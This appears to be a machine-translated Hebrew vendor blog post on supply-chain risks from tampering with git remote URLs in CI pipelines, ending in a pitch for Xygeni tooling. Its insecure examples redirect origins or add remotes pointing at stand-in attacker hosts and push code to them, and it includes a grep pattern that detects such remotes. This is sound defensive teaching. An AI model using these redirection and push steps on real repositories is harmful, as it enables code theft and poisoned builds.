כתובת אתר של git remote set - כתובת אתר של git set עבור remote - הוספת remote של git

כאשר Git remote set-url הופך לסיכון בשרשרת האספקה

הסיכון הנסתר מאחורי פקודת גיט פשוטה

עבור רוב המפתחים, הפעלת פקודה כמו git remote set-url origin מרגיש שגרתי, רק עוד צעד בתחזוקת תצורת Git. סקריפטים של CI גם מבצעים בדרך כלל פקודות כגון git remote set-url, Git set url for remote, או Git remote add to fetch או push code במהלך בניות. אבל הנה הסיכון: אם תוקף יתערב בתצורה הזו (באופן מקומי או ב-CI), הוא יכול להפנות את המקור שלך למאגר זדוני, ליירט אישורים או להחדיר תוכנה זדונית לשרשרת האספקה.

דוגמה לאופן שבו משתמשים בו בדרך כלל:

# שימוש לגיטימי

מקור כתובת URL של git מרחוק https://github.com/org/project.git

⚠️ דוגמה לא מאובטחת, למטרות חינוכיות בלבד. אין להשתמש בסביבת ייצור.

				
					# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git

				
			

אבטחת גרסה, זיהוי אימות מקור מאגר

				
					# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.

				
			

למה? אם השלט עובר למארח הנשלט על ידי תוקף, כל git fetch/git push עוקבים מצביעים על קוד זדוני. יש לבצע קידוד קשיח של מקורות מהימנים במידת האפשר ולהימנע מכתובות URL דינמיות לא מאומתות.

כיצד מניפולציה מרחוק פוגעת בבנייה Pipeline

כתובת URL מרוחקת של Git ששונתה עלולה להיות בעלת השלכות חמורות בפעולות אוטומטיות pipelineכאשר סקריפטים ניתנים לאמון באופן מרומז.

תרחיש לדוגמה:

  • סקריפט CI משתמש ב-git remote set-url כדי להגדיר מחדש מאגרים באופן דינמי.
  • משתנה סביבה שנפגע (למשל, אסימון או כתובת URL של מאגר) מוזרק לסקריפט.
  • הבנייה מאחזרת או דוחפת קוד למאגר זדוני.
  • התוקף מוסיף דלתות אחוריות או תלויות שעברו פגיעה.

⚠️ דוגמה לא מאובטחת, למטרות חינוכיות בלבד. אין להשתמש בסביבת ייצור.

				
					# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
  - name: Set remote
    run: git remote set-url origin $REPO_URL
  - name: Build and deploy
    run: npm install && npm run build

				
			

גרסה מאובטחת, יש לאמת את $REPO_URL לפני השימוש (אימות רשימה לבנה / xygeni).

				
					# ✅ CI/CD pipeline with validation guardrail
steps:
  - name: Validate REPO_URL
    run: |
      # Educational note: never accept raw URLs without validation.
      if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
        echo "Untrusted repo origin: $REPO_URL" && exit 1
      fi
  - name: Set remote (safe)
    run: git remote set-url origin "$REPO_URL"
  - name: Build and deploy
    run: npm ci && npm run build

				
			

למה: אימות כתובות URL של מאגר נכנס מול רשימה לבנה מתוחזקת (או שימוש xygeni verify --git-origin) לפני פעולה על פיהם. זה מונע מתוקפים לעקוף משתני סביבה כדי להפנות מחדש pipelines.

זיהוי שינויים לא מורשים בתצורה מרחוק

גיט לא מתריע בפניך כאשר מתבצע שינוי בשלט רחוק. ניטור יזום של .git/config ובדיקות תקינות לפני הבנייה הן הכרחיות.

טכניקות גילוי מעשיות

  • בדיקת תצורת גיט:

     
    git remote -v

    השווה את הפלט לכתובות URL צפויות המאוחסנות בבסיס מאובטח.

  • אמת .git/config יושרה:

     
    sha256sum .git/config

    השווה את סכום הבדיקה לקו בסיס מהימן.

  • אימות מבוסס CI:

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

הערה חינוכית: אין להריץ בדיקות שלמות או פקודות אימות עם אישורים ארוכי טווח שנחשפו ביומני רישום או בסביבות לא מוגנות. השתמש באישורים זמניים, סודות מאוחסנים והימנע מביצוע פקודות אימות כמשתמש מורשה במידת האפשר.

טיפ לזיהוי: חפש אחר שרתים מרוחקים המצביעים על דומיינים לא קנוניים (בלתי צפויים .net, .io, כתובות IP), שמות מרוחקים כפולים, או משתני סביבה השולטים בכתובות URL של מאגרים ללא אימות. זיהוי מוקדם מונע git set-url מניפולציה מפני זיהום מבנים.

אבטחת מקורות מאגרים עם Guardrails ואימות גיבוב

מניעה פירושה אכיפת בקרות קפדניות על אילו מאגרים אתה בונה מהם. Guardrails כוללים חתימה, אימות גיבוב והגבלת מי יכול לשנות משתני CI.

נהלים מאובטחים לשלמות מאגרים

הצמד כתובות URL של מאגרים, קודדו מקורות מהימנים במידת האפשר:

				
					# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD

				
			

אימות גיבובי מאגר:

ודא ש-HEAD תואם ל-hash הצפוי לפני הבנייה.

⚠️ דוגמה לא בטוחה, הדפסת אסימונים ביומנים (אין להשתמש בייצור).

				
					# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"

				
			

גרסה מאובטחת, קרא סודות מהכספת, ולעולם לא הדפס

				
					# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.

				
			

רשימת בדיקה קטנה: ניהול בטוח של Git מרחוק

שילוב אימות כתובות URL של Git Remote Set בתוך CI/CD Pipelines

להוסיף guardrails ואימות אוטומטי כדי לעצור מניפולציה מרחוק בשלב מוקדם של pipeline.

דוגמה ל-Guardrail: בדיקה של שלטים כפולים או לא מורשים

				
					# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
  - name: Check remotes
    run: |
      git remote -v > /tmp/remotes.txt
      if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
        echo "Unauthorized remote detected" && exit 1
      fi
      # Validate current origin matches expected
      if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
        echo "Origin verification failed" && exit 1
      fi

				
			

התקשות מפני שיבוש שרשרת האספקה ​​בסביבות משותפות

רצים משותפים ופקודות מרחוק מתירניות הם בעלי סיכון גבוה. הימנעו מפקודות שמוסיפות שלטים מרחוק שלא נבדקו במהלך זמן ריצת המשימה.

⚠️ דוגמה לא מאובטחת, הוספת שלט רחוק לתוקף (אין להשתמש).

				
					# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git

				
			

גרסה מאובטחת, הגבלה לדומיינים מאומתים והשתמשה ב-set-url רק עבור מקורות מאושרים

				
					# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
  git remote add backup "$REMOTE_URL"
else
  echo "Refusing to add unapproved remote" && exit 1
fi

				
			

הערה: העדיפו רצים זמניים והימנעו מזיכרון מטמון משותף ומתמשך בין משימות.

הערה לגבי רצים: השתמשו ברצים זמניים ומבודדים שנוצרים מחדש עבור כל משימה. דיסקים או מטמונים משותפים יכולים לשמור קבצים שעברו שינויים בבניינים שונים.

שילוב כתובת URL של Git set עבור אימות מרחוק לתוך CI/CD Pipelines

אבטחת השימוש ב-git remote set-url אינה עוסקת רק בבדיקות ידניות; מדובר באוטומציה. זרימות עבודה מודרניות של DevSecOps יכולות לשלב אימות ישירות ב- CI/CD pipelines.

דוגמה: אימות שלמות מרחוק אוטומטי

				
					stages:
  - validate
  - build


validate-repo:
  script:
    - echo "Validating repository origin..."
    - xygeni enforce --policy git-origin.yaml
    - xygeni scan --detect-remote-tampering

				
			

תצורה זו מבטיחה שלפני כל בנייה או פריסה הרצה, ה- pipeline מאמת:

  • כתובת ה-URL של המאגר תואמת את הערך הצפוי.
  • Commit החתימות תקפות.
  • לא נוספו שלטים בלתי צפויים באמצעות git add remote.

בקרות CI נוספות

  • Pre-commit hooksבדוק שאין גורמים בלתי מורשים כתובת אתר של git מרחוק פקודות קיימות ב commits.
  • אכיפת מדיניות כקוד: הגדרת מקורות מותרים כחלק ממדיניות מבוקרת גרסאות.
  • שיקוף תלות: משיכת קוד ממראות פנימיות מאומתות במקום ממקורות אינטרנט ישירים.

אוטומציה של בדיקות אלו לא רק מונע תצורות שגויות, אלא גם מזהה ניסיונות שיבוש בשרשרת האספקה ​​עוד לפני שהקוד נשלח.

התקשות מפני שיבוש שרשרת האספקה ​​בסביבות משותפות

רצים משותפים או סביבות CI זמניות מציגות סיכונים נוספים. כאשר מספר בניות חולקות משאבים, פקודות git remote set-url או git add remote יכולות לשמש נשק כדי לשמור על פקודות מרוחקות זדוניות לאורך סשנים.

תרחישי תקיפה נפוצים

סקריפט בנייה שנפגע מוסיף שלט רחוק חדש כדי לדחוף קוד למאגר של תוקף:

הוסף גיבוי מרחוק של גיט https://attacker.example.com/repo.git

גיבוי git push ראשי

  • פרויקט אחר הפועל על אותו סוכן CI אחזור נתונים ממצב מזוהם זה.
  • נתונים רגישים כמו טוקנים או ארטיפקטים של בנייה דולפים באמצעות דחיפות לא מורשות.

אמצעי הקשחה

  • רצים ארעיים: איפוס סביבות CI לאחר כל בנייה.
  • בידוד רשת: הגבל את התנועה היוצאת לדומיינים שאושרו.
  • הרשאות הקטנות ביותר: הגבלת הרשאות לפעולות Git ב pipelines.
  • חתימת חפצים: ודא שכל פלטי הבנייה חתומים ומאומתים קריפטוגרפית.

על ידי שילוב של בידוד, אימות וניטור, צוותים יכולים לנטרל התקפות המנצלות את כתובת האתר של git set לצורך מניפולציה מרחוק.

אימות, ניטור ואוטומציה של אמון במאגרים

כתובת URL אחת של git remote שנעשה בה שימוש לרעה או git add remote לא מאומתת יכולים להפנות בשקט את כל תהליך הבנייה שלך למאגר הנשלט על ידי תוקף. הגבול בין פרודוקטיביות לפגיעה ב-DevOps דק מתמיד, ו מתקפות שרשרת אספקה ​​של תוכנה לנצל בדיוק את זה.

כדי לשמור על האמון בך pipelines:

פלטפורמות כמו קסיגני לעזור לצוותי DevSecOps לזהות שגויות תצורה מרחוק, לנטר גבולות אמון במאגרים ולחסום סיכונים בשרשרת האספקה ​​הנובעים משימוש לרעה ב-Git, לפני שלמשתמשים זדוניים יש הזדמנות לפרוס קוד.

בטחו בזרימת העבודה שלכם, אבל ודאו את המקור שלכם. כך תמנעו מ-git remote set-url להפוך לפריצת האבטחה הבאה שלכם.

כלי SCA לניתוח קומפוזיציה - תוכנה
תעדוף, תיקון ואבטחת סיכוני התוכנה שלך
קבל את החשבון החינמי שלך.
אין צורך בכרטיס אשראי.

אבטחו את פיתוח ואספקת התוכנה שלכם

עם חבילת המוצרים Xygeni